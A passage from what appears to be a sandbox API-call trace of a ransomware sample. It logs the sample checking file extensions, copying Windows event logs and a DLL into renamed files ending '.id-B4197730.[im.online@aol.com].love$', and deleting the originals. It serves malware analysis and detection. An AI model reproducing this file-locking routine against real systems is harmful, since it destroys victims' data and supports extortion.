lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.533] lstrlenW (lpString=".xlsx") returned 5 [0120.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.534] lstrlenW (lpString=".ppt") returned 4 [0120.534] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.534] lstrlenW (lpString=".zip") returned 4 [0120.534] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString=".rar") returned 4 [0120.534] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString=".bz2") returned 4 [0120.534] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString=".7z") returned 3 [0120.534] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.534] lstrlenW (lpString=".dbf") returned 4 [0120.534] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.534] lstrlenW (lpString=".1cd") returned 4 [0120.534] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0120.534] lstrlenW (lpString=".jpg") returned 4 [0120.534] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.534] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.534] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0120.534] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0120.535] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0120.535] CloseHandle (hObject=0x370) returned 1 [0120.535] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0120.535] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0120.560] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.560] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0120.575] GetLastError () returned 0x0 [0120.575] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.589] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.591] ReadFile (in: hFile=0x370, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.591] WriteFile (in: hFile=0x398, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x132, lpOverlapped=0x0) returned 1 [0120.591] SetEndOfFile (hFile=0x398) returned 1 [0120.591] CloseHandle (hObject=0x398) returned 1 [0120.596] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.596] SetEndOfFile (hFile=0x370) returned 1 [0120.598] CloseHandle (hObject=0x370) returned 1 [0120.598] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.599] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0120.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.599] lstrlenW (lpString=".doc") returned 4 [0120.599] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".docx") returned 5 [0120.599] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.599] lstrlenW (lpString=".pdf") returned 4 [0120.599] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".xls") returned 4 [0120.599] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".xlsx") returned 5 [0120.599] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.599] lstrlenW (lpString=".ppt") returned 4 [0120.599] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.599] lstrlenW (lpString=".zip") returned 4 [0120.599] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".rar") returned 4 [0120.599] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".bz2") returned 4 [0120.599] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.599] lstrlenW (lpString=".7z") returned 3 [0120.599] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".dbf") returned 4 [0120.600] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".1cd") returned 4 [0120.600] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".jpg") returned 4 [0120.600] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".doc") returned 4 [0120.600] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".docx") returned 5 [0120.600] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.600] lstrlenW (lpString=".pdf") returned 4 [0120.600] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".xls") returned 4 [0120.600] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".xlsx") returned 5 [0120.600] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.600] lstrlenW (lpString=".ppt") returned 4 [0120.600] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".zip") returned 4 [0120.600] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".rar") returned 4 [0120.600] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".bz2") returned 4 [0120.600] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.600] lstrlenW (lpString=".7z") returned 3 [0120.600] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.600] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.600] lstrlenW (lpString=".dbf") returned 4 [0120.600] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.601] lstrlenW (lpString=".1cd") returned 4 [0120.601] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0120.601] lstrlenW (lpString=".jpg") returned 4 [0120.601] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.601] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.601] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0120.601] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.005] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1052672) returned 1 [0121.005] CloseHandle (hObject=0x380) returned 1 [0121.005] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0121.023] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.023] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0121.034] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.034] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0121.034] GetLastError () returned 0x0 [0121.034] ReadFile (in: hFile=0x348, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0121.071] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0121.416] ReadFile (in: hFile=0x348, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x1010, lpOverlapped=0x0) returned 1 [0121.426] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0121.431] ReadFile (in: hFile=0x348, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.431] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x134, lpOverlapped=0x0) returned 1 [0121.431] SetEndOfFile (hFile=0x364) returned 1 [0121.437] CloseHandle (hObject=0x364) returned 1 [0121.978] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.978] SetEndOfFile (hFile=0x348) returned 1 [0121.979] CloseHandle (hObject=0x348) returned 1 [0121.980] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.980] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0121.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.980] lstrlenW (lpString=".doc") returned 4 [0121.980] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".docx") returned 5 [0121.981] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.981] lstrlenW (lpString=".pdf") returned 4 [0121.981] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".xls") returned 4 [0121.981] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".xlsx") returned 5 [0121.981] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.981] lstrlenW (lpString=".ppt") returned 4 [0121.981] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.981] lstrlenW (lpString=".zip") returned 4 [0121.981] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".rar") returned 4 [0121.981] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".bz2") returned 4 [0121.981] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString=".7z") returned 3 [0121.981] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.981] lstrlenW (lpString=".dbf") returned 4 [0121.981] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.981] lstrlenW (lpString=".1cd") returned 4 [0121.981] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.981] lstrlenW (lpString=".jpg") returned 4 [0121.981] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.982] lstrlenW (lpString=".doc") returned 4 [0121.982] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".docx") returned 5 [0121.982] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.982] lstrlenW (lpString=".pdf") returned 4 [0121.982] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".xls") returned 4 [0121.982] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".xlsx") returned 5 [0121.982] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.982] lstrlenW (lpString=".ppt") returned 4 [0121.982] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.982] lstrlenW (lpString=".zip") returned 4 [0121.982] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".rar") returned 4 [0121.982] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".bz2") returned 4 [0121.982] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString=".7z") returned 3 [0121.982] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.982] lstrlenW (lpString=".dbf") returned 4 [0121.982] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.982] lstrlenW (lpString=".1cd") returned 4 [0121.983] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0121.983] lstrlenW (lpString=".jpg") returned 4 [0121.983] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.983] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.983] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0121.983] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.449] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1052672) returned 1 [0122.450] CloseHandle (hObject=0x374) returned 1 [0122.450] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0122.450] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.450] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.450] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.451] GetLastError () returned 0x0 [0122.451] ReadFile (in: hFile=0x374, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0122.495] WriteFile (in: hFile=0x394, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0123.051] ReadFile (in: hFile=0x374, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x1010, lpOverlapped=0x0) returned 1 [0123.062] WriteFile (in: hFile=0x394, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0123.322] ReadFile (in: hFile=0x374, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.322] WriteFile (in: hFile=0x394, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x126, lpOverlapped=0x0) returned 1 [0123.323] SetEndOfFile (hFile=0x394) returned 1 [0123.934] CloseHandle (hObject=0x394) Thread: id = 12 os_tid = 0x10c0 [0093.426] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x57eb70 [0093.427] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x58eb78 [0093.428] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab98 [0093.428] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d300 [0093.428] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abb0 [0093.428] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x36e8020 [0093.436] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abc8 [0093.436] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50abc8, Size=0x20) returned 0x4eebd8 [0093.436] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abc8 [0093.436] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50abc8, Size=0x20) returned 0x4eeae8 [0093.436] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.436] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.436] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x0) returned 1 [0093.436] lstrlenW (lpString="kernel32.dll") returned 12 [0093.436] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.437] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.437] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.437] Sleep (dwMilliseconds=0x64) [0093.963] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0093.963] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0093.963] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0093.967] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=144072) returned 1 [0093.967] CloseHandle (hObject=0x2b8) returned 1 [0093.967] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0093.967] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0093.967] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0093.968] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.968] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.968] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0093.969] GetLastError () returned 0x0 [0093.969] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: 